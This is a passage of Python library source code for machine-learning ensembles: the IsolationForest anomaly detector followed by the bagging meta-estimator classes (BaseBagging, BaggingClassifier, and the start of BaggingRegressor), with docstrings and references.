import scipy as sp
from warnings import warn

from scipy.sparse import issparse

import numbers
from ..externals import six
from ..tree import ExtraTreeRegressor
from ..utils import check_random_state, check_array

from .bagging import BaseBagging

__all__ = ["IsolationForest"]

INTEGER_TYPES = (numbers.Integral, np.integer)


class IsolationForest(BaseBagging):
    """Isolation Forest Algorithm

    Return the anomaly score of each sample using the IsolationForest algorithm

    The IsolationForest 'isolates' observations by randomly selecting a feature
    and then randomly selecting a split value between the maximum and minimum
    values of the selected feature.

    Since recursive partitioning can be represented by a tree structure, the
    number of splittings required to isolate a sample is equivalent to the path
    length from the root node to the terminating node.

    This path length, averaged over a forest of such random trees, is a
    measure of abnormality and our decision function.

    Random partitioning produces noticeably shorter paths for anomalies.
    Hence, when a forest of random trees collectively produce shorter path
    lengths for particular samples, they are highly likely to be anomalies.

    Read more in the :ref:`User Guide <isolation_forest>`.

    Parameters
    ----------
    n_estimators : int, optional (default=100)
        The number of base estimators in the ensemble.

    max_samples : int or float, optional (default="auto")
        The number of samples to draw from X to train each base estimator.
            - If int, then draw `max_samples` samples.
            - If float, then draw `max_samples * X.shape[0]` samples.
            - If "auto", then `max_samples=min(256, n_samples)`.
        If max_samples is larger than the number of samples provided,
        all samples will be used for all trees (no sampling).

    contamination : float in (0., 0.5), optional (default=0.1)
        The amount of contamination of the data set, i.e. the proportion
        of outliers in the data set. Used when fitting to define the threshold
        on the decision function.

    max_features : int or float, optional (default=1.0)
        The number of features to draw from X to train each base estimator.
            - If int, then draw `max_features` features.
            - If float, then draw `max_features * X.shape[1]` features.

    bootstrap : boolean, optional (default=False)
        If True, individual trees are fit on random subsets of the training
        data sampled with replacement. If False, sampling without replacement
        is performed.

    n_jobs : integer, optional (default=1)
        The number of jobs to run in parallel for both `fit` and `predict`.
        If -1, then the number of jobs is set to the number of cores.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    verbose : int, optional (default=0)
        Controls the verbosity of the tree building process.


    Attributes
    ----------
    estimators_ : list of DecisionTreeClassifier
        The collection of fitted sub-estimators.

    estimators_samples_ : list of arrays
        The subset of drawn samples (i.e., the in-bag samples) for each base
        estimator.

    max_samples_ : integer
        The actual number of samples

    References
    ----------
    .. [1] Liu, Fei Tony, Ting, Kai Ming and Zhou, Zhi-Hua. "Isolation forest."
           Data Mining, 2008. ICDM'08. Eighth IEEE International Conference on.
    .. [2] Liu, Fei Tony, Ting, Kai Ming and Zhou, Zhi-Hua. "Isolation-based
           anomaly detection." ACM Transactions on Knowledge Discovery from
           Data (TKDD) 6.1 (2012): 3.
    """

    def __init__(self,
                 n_estimators=100,
                 max_samples="auto",
                 contamination=0.1,
                 max_features=1.,
                 bootstrap=False,
                 n_jobs=1,
                 random_state=None,
                 verbose=0):
        super(IsolationForest, self).__init__(
            base_estimator=ExtraTreeRegressor(
                max_features=1,
                splitter='random',
                random_state=random_state),
            # here above max_features has no links with self.max_features
            bootstrap=bootstrap,
            bootstrap_features=False,
            n_estimators=n_estimators,
            max_samples=max_samples,
            max_features=max_features,
            n_jobs=n_jobs,
            random_state=random_state,
            verbose=verbose)
        self.contamination = contamination

    def _set_oob_score(self, X, y):
        raise NotImplementedError("OOB score not supported by iforest")

    def fit(self, X, y=None, sample_weight=None):
        """Fit estimator.

        Parameters
        ----------
        X : array-like or sparse matrix, shape (n_samples, n_features)
            The input samples. Use ``dtype=np.float32`` for maximum
            efficiency. Sparse matrices are also supported, use sparse
            ``csc_matrix`` for maximum efficiency.

        Returns
        -------
        self : object
            Returns self.
        """
        # ensure_2d=False because there are actually unit test checking we fail
        # for 1d.
        X = check_array(X, accept_sparse=['csc'], ensure_2d=False)
        if issparse(X):
            # Pre-sort indices to avoid that each individual tree of the
            # ensemble sorts the indices.
            X.sort_indices()

        rnd = check_random_state(self.random_state)
        y = rnd.uniform(size=X.shape[0])

        # ensure that max_sample is in [1, n_samples]:
        n_samples = X.shape[0]

        if isinstance(self.max_samples, six.string_types):
            if self.max_samples == 'auto':
                max_samples = min(256, n_samples)
            else:
                raise ValueError('max_samples (%s) is not supported.'
                                 'Valid choices are: "auto", int or'
                                 'float' % self.max_samples)

        elif isinstance(self.max_samples, INTEGER_TYPES):
            if self.max_samples > n_samples:
                warn("max_samples (%s) is greater than the "
                     "total number of samples (%s). max_samples "
                     "will be set to n_samples for estimation."
                     % (self.max_samples, n_samples))
                max_samples = n_samples
            else:
                max_samples = self.max_samples
        else:  # float
            if not (0. < self.max_samples <= 1.):
                raise ValueError("max_samples must be in (0, 1], got %r"
                                 % self.max_samples)
            max_samples = int(self.max_samples * X.shape[0])

        self.max_samples_ = max_samples
        max_depth = int(np.ceil(np.log2(max(max_samples, 2))))
        super(IsolationForest, self)._fit(X, y, max_samples,
                                          max_depth=max_depth,
                                          sample_weight=sample_weight)

        self.threshold_ = -sp.stats.scoreatpercentile(
            -self.decision_function(X), 100. * (1. - self.contamination))

        return self

    def predict(self, X):
        """Predict if a particular sample is an outlier or not.

        Parameters
        ----------
        X : array-like or sparse matrix, shape (n_samples, n_features)
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        Returns
        -------
        is_inlier : array, shape (n_samples,)
            For each observations, tells whether or not (+1 or -1) it should
            be considered as an inlier according to the fitted model.
        """
        X = check_array(X, accept_sparse='csr')
        is_inlier = np.ones(X.shape[0], dtype=int)
        is_inlier[self.decision_function(X) <= self.threshold_] = -1
        return is_inlier

    def decision_function(self, X):
        """Average anomaly score of X of the base classifiers.

        The anomaly score of an input sample is computed as
        the mean anomaly score of the trees in the forest.

        The measure of normality of an observation given a tree is the depth
        of the leaf containing this observation, which is equivalent to
        the number of splittings required to isolate this point. In case of
        several observations n_left in the leaf, the average path length of
        a n_left samples isolation tree is added.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            The training input samples. Sparse matrices are accepted only if
            they are supported by the base estimator.

        Returns
        -------
        scores : array of shape (n_samples,)
            The anomaly score of the input samples.
            The lower, the more abnormal.

        """
        # code structure from ForestClassifier/predict_proba
        # Check data
        X = self.estimators_[0]._validate_X_predict(X, check_input=True)
        n_samples = X.shape[0]

        n_samples_leaf = np.zeros((n_samples, self.n_estimators), order="f")
        depths = np.zeros((n_samples, self.n_estimators), order="f")

        for i, tree in enumerate(self.estimators_):
            leaves_index = tree.apply(X)
            node_indicator = tree.decision_path(X)
            n_samples_leaf[:, i] = tree.tree_.n_node_samples[leaves_index]
            depths[:, i] = np.asarray(node_indicator.sum(axis=1)).reshape(-1) - 1

        depths += _average_path_length(n_samples_leaf)

        scores = 2 ** (-depths.mean(axis=1) / _average_path_length(self.max_samples_))

        # Take the opposite of the scores as bigger is better (here less
        # abnormal) and add 0.5 (this value plays a special role as described
        # in the original paper) to give a sense to scores = 0:
        return 0.5 - scores


def _average_path_length(n_samples_leaf):
    """ The average path length in a n_samples iTree, which is equal to
    the average path length of an unsuccessful BST search since the
    latter has the same structure as an isolation tree.
    Parameters
    ----------
    n_samples_leaf : array-like of shape (n_samples, n_estimators), or int.
        The number of training samples in each test sample leaf, for
        each estimators.

    Returns
    -------
    average_path_length : array, same shape as n_samples_leaf

    """
    if isinstance(n_samples_leaf, INTEGER_TYPES):
        if n_samples_leaf <= 1:
            return 1.
        else:
            return 2. * (np.log(n_samples_leaf) + 0.5772156649) - 2. * (
                n_samples_leaf - 1.) / n_samples_leaf

    else:

        n_samples_leaf_shape = n_samples_leaf.shape
        n_samples_leaf = n_samples_leaf.reshape((1, -1))
        average_path_length = np.zeros(n_samples_leaf.shape)

        mask = (n_samples_leaf <= 1)
        not_mask = np.logical_not(mask)

        average_path_length[mask] = 1.
        average_path_length[not_mask] = 2. * (
            np.log(n_samples_leaf[not_mask]) + 0.5772156649) - 2. * (
                n_samples_leaf[not_mask] - 1.) / n_samples_leaf[not_mask]

        return average_path_length.reshape(n_samples_leaf_shape)






"""Bagging meta-estimator."""

# Author: Gilles Louppe <g.louppe@gmail.com>
# License: BSD 3 clause

from __future__ import division

import itertools
import numbers
import numpy as np
from warnings import warn
from abc import ABCMeta, abstractmethod

from ..base import ClassifierMixin, RegressorMixin
from ..externals.joblib import Parallel, delayed
from ..externals.six import with_metaclass
from ..externals.six.moves import zip
from ..metrics import r2_score, accuracy_score
from ..tree import DecisionTreeClassifier, DecisionTreeRegressor
from ..utils import check_random_state, check_X_y, check_array, column_or_1d
from ..utils.random import sample_without_replacement
from ..utils.validation import has_fit_parameter, check_is_fitted
from ..utils import indices_to_mask
from ..utils.fixes import bincount
from ..utils.metaestimators import if_delegate_has_method
from ..utils.multiclass import check_classification_targets

from .base import BaseEnsemble, _partition_estimators


__all__ = ["BaggingClassifier",
           "BaggingRegressor"]

MAX_INT = np.iinfo(np.int32).max


def _generate_indices(random_state, bootstrap, n_population, n_samples):
    """Draw randomly sampled indices."""
    # Draw sample indices
    if bootstrap:
        indices = random_state.randint(0, n_population, n_samples)
    else:
        indices = sample_without_replacement(n_population, n_samples,
                                             random_state=random_state)

    return indices


def _generate_bagging_indices(random_state, bootstrap_features,
                              bootstrap_samples, n_features, n_samples,
                              max_features, max_samples):
    """Randomly draw feature and sample indices."""
    # Get valid random state
    random_state = check_random_state(random_state)

    # Draw indices
    feature_indices = _generate_indices(random_state, bootstrap_features,
                                        n_features, max_features)
    sample_indices = _generate_indices(random_state, bootstrap_samples,
                                       n_samples, max_samples)

    return feature_indices, sample_indices


def _parallel_build_estimators(n_estimators, ensemble, X, y, sample_weight,
                               seeds, total_n_estimators, verbose):
    """Private function used to build a batch of estimators within a job."""
    # Retrieve settings
    n_samples, n_features = X.shape
    max_features = ensemble._max_features
    max_samples = ensemble._max_samples
    bootstrap = ensemble.bootstrap
    bootstrap_features = ensemble.bootstrap_features
    support_sample_weight = has_fit_parameter(ensemble.base_estimator_,
                                              "sample_weight")
    if not support_sample_weight and sample_weight is not None:
        raise ValueError("The base estimator doesn't support sample weight")

    # Build estimators
    estimators = []
    estimators_features = []

    for i in range(n_estimators):
        if verbose > 1:
            print("Building estimator %d of %d for this parallel run (total %d)..." %
                  (i + 1, n_estimators, total_n_estimators))

        random_state = np.random.RandomState(seeds[i])
        estimator = ensemble._make_estimator(append=False)

        try:  # Not all estimators accept a random_state
            estimator.set_params(random_state=seeds[i])
        except ValueError:
            pass

        # Draw random feature, sample indices
        features, indices = _generate_bagging_indices(random_state,
                                                      bootstrap_features,
                                                      bootstrap, n_features,
                                                      n_samples, max_features,
                                                      max_samples)

        # Draw samples, using sample weights, and then fit
        if support_sample_weight:
            if sample_weight is None:
                curr_sample_weight = np.ones((n_samples,))
            else:
                curr_sample_weight = sample_weight.copy()

            if bootstrap:
                sample_counts = bincount(indices, minlength=n_samples)
                curr_sample_weight *= sample_counts
            else:
                not_indices_mask = ~indices_to_mask(indices, n_samples)
                curr_sample_weight[not_indices_mask] = 0

            estimator.fit(X[:, features], y, sample_weight=curr_sample_weight)

        # Draw samples, using a mask, and then fit
        else:
            estimator.fit((X[indices])[:, features], y[indices])

        estimators.append(estimator)
        estimators_features.append(features)

    return estimators, estimators_features


def _parallel_predict_proba(estimators, estimators_features, X, n_classes):
    """Private function used to compute (proba-)predictions within a job."""
    n_samples = X.shape[0]
    proba = np.zeros((n_samples, n_classes))

    for estimator, features in zip(estimators, estimators_features):
        if hasattr(estimator, "predict_proba"):
            proba_estimator = estimator.predict_proba(X[:, features])

            if n_classes == len(estimator.classes_):
                proba += proba_estimator

            else:
                proba[:, estimator.classes_] += \
                    proba_estimator[:, range(len(estimator.classes_))]

        else:
            # Resort to voting
            predictions = estimator.predict(X[:, features])

            for i in range(n_samples):
                proba[i, predictions[i]] += 1

    return proba


def _parallel_predict_log_proba(estimators, estimators_features, X, n_classes):
    """Private function used to compute log probabilities within a job."""
    n_samples = X.shape[0]
    log_proba = np.empty((n_samples, n_classes))
    log_proba.fill(-np.inf)
    all_classes = np.arange(n_classes, dtype=np.int)

    for estimator, features in zip(estimators, estimators_features):
        log_proba_estimator = estimator.predict_log_proba(X[:, features])

        if n_classes == len(estimator.classes_):
            log_proba = np.logaddexp(log_proba, log_proba_estimator)

        else:
            log_proba[:, estimator.classes_] = np.logaddexp(
                log_proba[:, estimator.classes_],
                log_proba_estimator[:, range(len(estimator.classes_))])

            missing = np.setdiff1d(all_classes, estimator.classes_)
            log_proba[:, missing] = np.logaddexp(log_proba[:, missing],
                                                 -np.inf)

    return log_proba


def _parallel_decision_function(estimators, estimators_features, X):
    """Private function used to compute decisions within a job."""
    return sum(estimator.decision_function(X[:, features])
               for estimator, features in zip(estimators,
                                              estimators_features))


def _parallel_predict_regression(estimators, estimators_features, X):
    """Private function used to compute predictions within a job."""
    return sum(estimator.predict(X[:, features])
               for estimator, features in zip(estimators,
                                              estimators_features))


class BaseBagging(with_metaclass(ABCMeta, BaseEnsemble)):
    """Base class for Bagging meta-estimator.

    Warning: This class should not be used directly. Use derived classes
    instead.
    """

    @abstractmethod
    def __init__(self,
                 base_estimator=None,
                 n_estimators=10,
                 max_samples=1.0,
                 max_features=1.0,
                 bootstrap=True,
                 bootstrap_features=False,
                 oob_score=False,
                 warm_start=False,
                 n_jobs=1,
                 random_state=None,
                 verbose=0):
        super(BaseBagging, self).__init__(
            base_estimator=base_estimator,
            n_estimators=n_estimators)

        self.max_samples = max_samples
        self.max_features = max_features
        self.bootstrap = bootstrap
        self.bootstrap_features = bootstrap_features
        self.oob_score = oob_score
        self.warm_start = warm_start
        self.n_jobs = n_jobs
        self.random_state = random_state
        self.verbose = verbose

    def fit(self, X, y, sample_weight=None):
        """Build a Bagging ensemble of estimators from the training
           set (X, y).

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrices are accepted only if
            they are supported by the base estimator.

        y : array-like, shape = [n_samples]
            The target values (class labels in classification, real numbers in
            regression).

        sample_weight : array-like, shape = [n_samples] or None
            Sample weights. If None, then samples are equally weighted.
            Note that this is supported only if the base estimator supports
            sample weighting.

        Returns
        -------
        self : object
            Returns self.
        """
        return self._fit(X, y, self.max_samples, sample_weight=sample_weight)

    def _fit(self, X, y, max_samples=None, max_depth=None, sample_weight=None):
        """Build a Bagging ensemble of estimators from the training
           set (X, y).

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrices are accepted only if
            they are supported by the base estimator.

        y : array-like, shape = [n_samples]
            The target values (class labels in classification, real numbers in
            regression).

        max_samples : int or float, optional (default=None)
            Argument to use instead of self.max_samples.

        max_depth : int, optional (default=None)
            Override value used when constructing base estimator. Only
            supported if the base estimator has a max_depth parameter.

        sample_weight : array-like, shape = [n_samples] or None
            Sample weights. If None, then samples are equally weighted.
            Note that this is supported only if the base estimator supports
            sample weighting.

        Returns
        -------
        self : object
            Returns self.
        """
        random_state = check_random_state(self.random_state)

        # Convert data
        X, y = check_X_y(X, y, ['csr', 'csc'])

        # Remap output
        n_samples, self.n_features_ = X.shape
        self._n_samples = n_samples
        y = self._validate_y(y)

        # Check parameters
        self._validate_estimator()

        if max_depth is not None:
            self.base_estimator_.max_depth = max_depth

        # Validate max_samples
        if max_samples is None:
            max_samples = self.max_samples
        elif not isinstance(max_samples, (numbers.Integral, np.integer)):
            max_samples = int(max_samples * X.shape[0])

        if not (0 < max_samples <= X.shape[0]):
            raise ValueError("max_samples must be in (0, n_samples]")

        # Store validated integer row sampling value
        self._max_samples = max_samples

        # Validate max_features
        if isinstance(self.max_features, (numbers.Integral, np.integer)):
            max_features = self.max_features
        else:  # float
            max_features = int(self.max_features * self.n_features_)

        if not (0 < max_features <= self.n_features_):
            raise ValueError("max_features must be in (0, n_features]")

        # Store validated integer feature sampling value
        self._max_features = max_features

        # Other checks
        if not self.bootstrap and self.oob_score:
            raise ValueError("Out of bag estimation only available"
                             " if bootstrap=True")

        if self.warm_start and self.oob_score:
            raise ValueError("Out of bag estimate only available"
                             " if warm_start=False")

        if hasattr(self, "oob_score_") and self.warm_start:
            del self.oob_score_

        if not self.warm_start or len(self.estimators_) == 0:
            # Free allocated memory, if any
            self.estimators_ = []
            self.estimators_features_ = []

        n_more_estimators = self.n_estimators - len(self.estimators_)

        if n_more_estimators < 0:
            raise ValueError('n_estimators=%d must be larger or equal to '
                             'len(estimators_)=%d when warm_start==True'
                             % (self.n_estimators, len(self.estimators_)))

        elif n_more_estimators == 0:
            warn("Warm-start fitting without increasing n_estimators does not "
                 "fit new trees.")
            return self

        # Parallel loop
        n_jobs, n_estimators, starts = _partition_estimators(n_more_estimators,
                                                             self.n_jobs)
        total_n_estimators = sum(n_estimators)

        # Advance random state to state after training
        # the first n_estimators
        if self.warm_start and len(self.estimators_) > 0:
            random_state.randint(MAX_INT, size=len(self.estimators_))

        seeds = random_state.randint(MAX_INT, size=n_more_estimators)
        self._seeds = seeds

        all_results = Parallel(n_jobs=n_jobs, verbose=self.verbose)(
            delayed(_parallel_build_estimators)(
                n_estimators[i],
                self,
                X,
                y,
                sample_weight,
                seeds[starts[i]:starts[i + 1]],
                total_n_estimators,
                verbose=self.verbose)
            for i in range(n_jobs))

        # Reduce
        self.estimators_ += list(itertools.chain.from_iterable(
            t[0] for t in all_results))
        self.estimators_features_ += list(itertools.chain.from_iterable(
            t[1] for t in all_results))

        if self.oob_score:
            self._set_oob_score(X, y)

        return self

    @abstractmethod
    def _set_oob_score(self, X, y):
        """Calculate out of bag predictions and score."""

    def _validate_y(self, y):
        # Default implementation
        return column_or_1d(y, warn=True)

    def _get_estimators_indices(self):
        # Get drawn indices along both sample and feature axes
        for seed in self._seeds:
            # Operations accessing random_state must be performed identically
            # to those in `_parallel_build_estimators()`
            random_state = np.random.RandomState(seed)
            feature_indices, sample_indices = _generate_bagging_indices(
                random_state, self.bootstrap_features, self.bootstrap,
                self.n_features_, self._n_samples, self._max_features,
                self._max_samples)

            yield feature_indices, sample_indices

    @property
    def estimators_samples_(self):
        """The subset of drawn samples for each base estimator.

        Returns a dynamically generated list of boolean masks identifying
        the samples used for for fitting each member of the ensemble, i.e.,
        the in-bag samples.

        Note: the list is re-created at each call to the property in order
        to reduce the object memory footprint by not storing the sampling
        data. Thus fetching the property may be slower than expected.
        """
        sample_masks = []
        for _, sample_indices in self._get_estimators_indices():
            mask = indices_to_mask(sample_indices, self._n_samples)
            sample_masks.append(mask)

        return sample_masks


class BaggingClassifier(BaseBagging, ClassifierMixin):
    """A Bagging classifier.

    A Bagging classifier is an ensemble meta-estimator that fits base
    classifiers each on random subsets of the original dataset and then
    aggregate their individual predictions (either by voting or by averaging)
    to form a final prediction. Such a meta-estimator can typically be used as
    a way to reduce the variance of a black-box estimator (e.g., a decision
    tree), by introducing randomization into its construction procedure and
    then making an ensemble out of it.

    This algorithm encompasses several works from the literature. When random
    subsets of the dataset are drawn as random subsets of the samples, then
    this algorithm is known as Pasting [1]_. If samples are drawn with
    replacement, then the method is known as Bagging [2]_. When random subsets
    of the dataset are drawn as random subsets of the features, then the method
    is known as Random Subspaces [3]_. Finally, when base estimators are built
    on subsets of both samples and features, then the method is known as
    Random Patches [4]_.

    Read more in the :ref:`User Guide <bagging>`.

    Parameters
    ----------
    base_estimator : object or None, optional (default=None)
        The base estimator to fit on random subsets of the dataset.
        If None, then the base estimator is a decision tree.

    n_estimators : int, optional (default=10)
        The number of base estimators in the ensemble.

    max_samples : int or float, optional (default=1.0)
        The number of samples to draw from X to train each base estimator.
            - If int, then draw `max_samples` samples.
            - If float, then draw `max_samples * X.shape[0]` samples.

    max_features : int or float, optional (default=1.0)
        The number of features to draw from X to train each base estimator.
            - If int, then draw `max_features` features.
            - If float, then draw `max_features * X.shape[1]` features.

    bootstrap : boolean, optional (default=True)
        Whether samples are drawn with replacement.

    bootstrap_features : boolean, optional (default=False)
        Whether features are drawn with replacement.

    oob_score : bool
        Whether to use out-of-bag samples to estimate
        the generalization error.

    warm_start : bool, optional (default=False)
        When set to True, reuse the solution of the previous call to fit
        and add more estimators to the ensemble, otherwise, just fit
        a whole new ensemble.

        .. versionadded:: 0.17
           *warm_start* constructor parameter.

    n_jobs : int, optional (default=1)
        The number of jobs to run in parallel for both `fit` and `predict`.
        If -1, then the number of jobs is set to the number of cores.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    verbose : int, optional (default=0)
        Controls the verbosity of the building process.

    Attributes
    ----------
    base_estimator_ : estimator
        The base estimator from which the ensemble is grown.

    estimators_ : list of estimators
        The collection of fitted base estimators.

    estimators_samples_ : list of arrays
        The subset of drawn samples (i.e., the in-bag samples) for each base
        estimator. Each subset is defined by a boolean mask.

    estimators_features_ : list of arrays
        The subset of drawn features for each base estimator.

    classes_ : array of shape = [n_classes]
        The classes labels.

    n_classes_ : int or list
        The number of classes.

    oob_score_ : float
        Score of the training dataset obtained using an out-of-bag estimate.

    oob_decision_function_ : array of shape = [n_samples, n_classes]
        Decision function computed with out-of-bag estimate on the training
        set. If n_estimators is small it might be possible that a data point
        was never left out during the bootstrap. In this case,
        `oob_decision_function_` might contain NaN.

    References
    ----------

    .. [1] L. Breiman, "Pasting small votes for classification in large
           databases and on-line", Machine Learning, 36(1), 85-103, 1999.

    .. [2] L. Breiman, "Bagging predictors", Machine Learning, 24(2), 123-140,
           1996.

    .. [3] T. Ho, "The random subspace method for constructing decision
           forests", Pattern Analysis and Machine Intelligence, 20(8), 832-844,
           1998.

    .. [4] G. Louppe and P. Geurts, "Ensembles on Random Patches", Machine
           Learning and Knowledge Discovery in Databases, 346-361, 2012.
    """
    def __init__(self,
                 base_estimator=None,
                 n_estimators=10,
                 max_samples=1.0,
                 max_features=1.0,
                 bootstrap=True,
                 bootstrap_features=False,
                 oob_score=False,
                 warm_start=False,
                 n_jobs=1,
                 random_state=None,
                 verbose=0):

        super(BaggingClassifier, self).__init__(
            base_estimator,
            n_estimators=n_estimators,
            max_samples=max_samples,
            max_features=max_features,
            bootstrap=bootstrap,
            bootstrap_features=bootstrap_features,
            oob_score=oob_score,
            warm_start=warm_start,
            n_jobs=n_jobs,
            random_state=random_state,
            verbose=verbose)

    def _validate_estimator(self):
        """Check the estimator and set the base_estimator_ attribute."""
        super(BaggingClassifier, self)._validate_estimator(
            default=DecisionTreeClassifier())

    def _set_oob_score(self, X, y):
        n_samples = y.shape[0]
        n_classes_ = self.n_classes_
        classes_ = self.classes_

        predictions = np.zeros((n_samples, n_classes_))

        for estimator, samples, features in zip(self.estimators_,
                                                self.estimators_samples_,
                                                self.estimators_features_):
            # Create mask for OOB samples
            mask = ~samples

            if hasattr(estimator, "predict_proba"):
                predictions[mask, :] += estimator.predict_proba(
                    (X[mask, :])[:, features])

            else:
                p = estimator.predict((X[mask, :])[:, features])
                j = 0

                for i in range(n_samples):
                    if mask[i]:
                        predictions[i, p[j]] += 1
                        j += 1

        if (predictions.sum(axis=1) == 0).any():
            warn("Some inputs do not have OOB scores. "
                 "This probably means too few estimators were used "
                 "to compute any reliable oob estimates.")

        oob_decision_function = (predictions /
                                 predictions.sum(axis=1)[:, np.newaxis])
        oob_score = accuracy_score(y, classes_.take(np.argmax(predictions,
                                                              axis=1)))

        self.oob_decision_function_ = oob_decision_function
        self.oob_score_ = oob_score

    def _validate_y(self, y):
        y = column_or_1d(y, warn=True)
        check_classification_targets(y)
        self.classes_, y = np.unique(y, return_inverse=True)
        self.n_classes_ = len(self.classes_)

        return y

    def predict(self, X):
        """Predict class for X.

        The predicted class of an input sample is computed as the class with
        the highest mean predicted probability. If base estimators do not
        implement a ``predict_proba`` method, then it resorts to voting.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrices are accepted only if
            they are supported by the base estimator.

        Returns
        -------
        y : array of shape = [n_samples]
            The predicted classes.
        """
        predicted_probabilitiy = self.predict_proba(X)
        return self.classes_.take((np.argmax(predicted_probabilitiy, axis=1)),
                                  axis=0)

    def predict_proba(self, X):
        """Predict class probabilities for X.

        The predicted class probabilities of an input sample is computed as
        the mean predicted class probabilities of the base estimators in the
        ensemble. If base estimators do not implement a ``predict_proba``
        method, then it resorts to voting and the predicted class probabilities
        of an input sample represents the proportion of estimators predicting
        each class.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrices are accepted only if
            they are supported by the base estimator.

        Returns
        -------
        p : array of shape = [n_samples, n_classes]
            The class probabilities of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
        """
        check_is_fitted(self, "classes_")
        # Check data
        X = check_array(X, accept_sparse=['csr', 'csc'])

        if self.n_features_ != X.shape[1]:
            raise ValueError("Number of features of the model must "
                             "match the input. Model n_features is {0} and "
                             "input n_features is {1}."
                             "".format(self.n_features_, X.shape[1]))

        # Parallel loop
        n_jobs, n_estimators, starts = _partition_estimators(self.n_estimators,
                                                             self.n_jobs)

        all_proba = Parallel(n_jobs=n_jobs, verbose=self.verbose)(
            delayed(_parallel_predict_proba)(
                self.estimators_[starts[i]:starts[i + 1]],
                self.estimators_features_[starts[i]:starts[i + 1]],
                X,
                self.n_classes_)
            for i in range(n_jobs))

        # Reduce
        proba = sum(all_proba) / self.n_estimators

        return proba

    def predict_log_proba(self, X):
        """Predict class log-probabilities for X.

        The predicted class log-probabilities of an input sample is computed as
        the log of the mean predicted class probabilities of the base
        estimators in the ensemble.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrices are accepted only if
            they are supported by the base estimator.

        Returns
        -------
        p : array of shape = [n_samples, n_classes]
            The class log-probabilities of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
        """
        check_is_fitted(self, "classes_")
        if hasattr(self.base_estimator_, "predict_log_proba"):
            # Check data
            X = check_array(X, accept_sparse=['csr', 'csc'])

            if self.n_features_ != X.shape[1]:
                raise ValueError("Number of features of the model must "
                                 "match the input. Model n_features is {0} "
                                 "and input n_features is {1} "
                                 "".format(self.n_features_, X.shape[1]))

            # Parallel loop
            n_jobs, n_estimators, starts = _partition_estimators(
                self.n_estimators, self.n_jobs)

            all_log_proba = Parallel(n_jobs=n_jobs, verbose=self.verbose)(
                delayed(_parallel_predict_log_proba)(
                    self.estimators_[starts[i]:starts[i + 1]],
                    self.estimators_features_[starts[i]:starts[i + 1]],
                    X,
                    self.n_classes_)
                for i in range(n_jobs))

            # Reduce
            log_proba = all_log_proba[0]

            for j in range(1, len(all_log_proba)):
                log_proba = np.logaddexp(log_proba, all_log_proba[j])

            log_proba -= np.log(self.n_estimators)

            return log_proba

        else:
            return np.log(self.predict_proba(X))

    @if_delegate_has_method(delegate='base_estimator')
    def decision_function(self, X):
        """Average of the decision functions of the base classifiers.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrices are accepted only if
            they are supported by the base estimator.

        Returns
        -------
        score : array, shape = [n_samples, k]
            The decision function of the input samples. The columns correspond
            to the classes in sorted order, as they appear in the attribute
            ``classes_``. Regression and binary classification are special
            cases with ``k == 1``, otherwise ``k==n_classes``.

        """
        check_is_fitted(self, "classes_")

        # Check data
        X = check_array(X, accept_sparse=['csr', 'csc'])

        if self.n_features_ != X.shape[1]:
            raise ValueError("Number of features of the model must "
                             "match the input. Model n_features is {1} and "
                             "input n_features is {2} "
                             "".format(self.n_features_, X.shape[1]))

        # Parallel loop
        n_jobs, n_estimators, starts = _partition_estimators(self.n_estimators,
                                                             self.n_jobs)

        all_decisions = Parallel(n_jobs=n_jobs, verbose=self.verbose)(
            delayed(_parallel_decision_function)(
                self.estimators_[starts[i]:starts[i + 1]],
                self.estimators_features_[starts[i]:starts[i + 1]],
                X)
            for i in range(n_jobs))

        # Reduce
        decisions = sum(all_decisions) / self.n_estimators

        return decisions


class BaggingRegressor(BaseBagging, RegressorMixin):
    """A Bagging regressor.

    A Bagging regressor is an ensemble meta-estimator that fits base
    regressors each on random subsets of the original dataset and then
    aggregate their individual predictions (either by voting or by averaging)
    to form a final prediction. Such a meta-estimator can typically be used as
    a way to reduce the variance of a black-box estimator (e.g., a decision
    tree), by introducing randomization into its construction procedure and
    then making an ensemble out of it.

    This algorithm encompasses several works from the literature. When random
    subsets of the dataset are drawn as random subsets of the samples, then
    this algorithm is known as Pasting [1]_. If samples are drawn with
    replacement, then the method is known as Bagging [2]_. When random subsets
    of the dataset are drawn as random subsets of the features, then the method
    is known as Random Subspaces [3]_. Finally, when base estimators are built
    on subsets of both samples and features, then the method is known as
    Random Patches [4]_.

    Read more in the :ref:`User Guide <bagging>`.

    Parameters
    ----------
    base_estimator : object or None, optional (default=None)
        The base estimator to fit on random subsets of the dataset.
        If None, then the base estimator is a decision tree.

    n_estimators : int, optional (default=10)
        The number of base estimators in the ensemble.

    max_samples : int or float, optional (default=1.0)
        The number of samples to draw from X to train each base estimator.
            - If int, then draw `max_samples` samples.
            - If float, then draw `max_samples * X.shape[0]` samples.

    max_features : int or float, optional (default=1.0)
        The number of features to draw from X to train each base estimator.
            - If int, then draw `max_features` features.
            - If float, then draw `max_features * X.shape[1]` features.

    bootstrap : boolean, optional (default=True)
        Whether samples are drawn with replacement.

    bootstrap_features : boolean, optional (default=False)
        Whether features are drawn with replacement.

    oob_score : bool
        Whether to use out-of-bag samples to estimate
        the generalization error.

    warm_start : bool, optional (default=False)
        When set to True, reuse the solution of the previous call to fit
        and add more estimators to the ensemble, otherwise, just fit
        a whole new ensemble.

    n_jobs : int, optional (default=1)
        The number of jobs to run in parallel for both `fit` and `predict`.
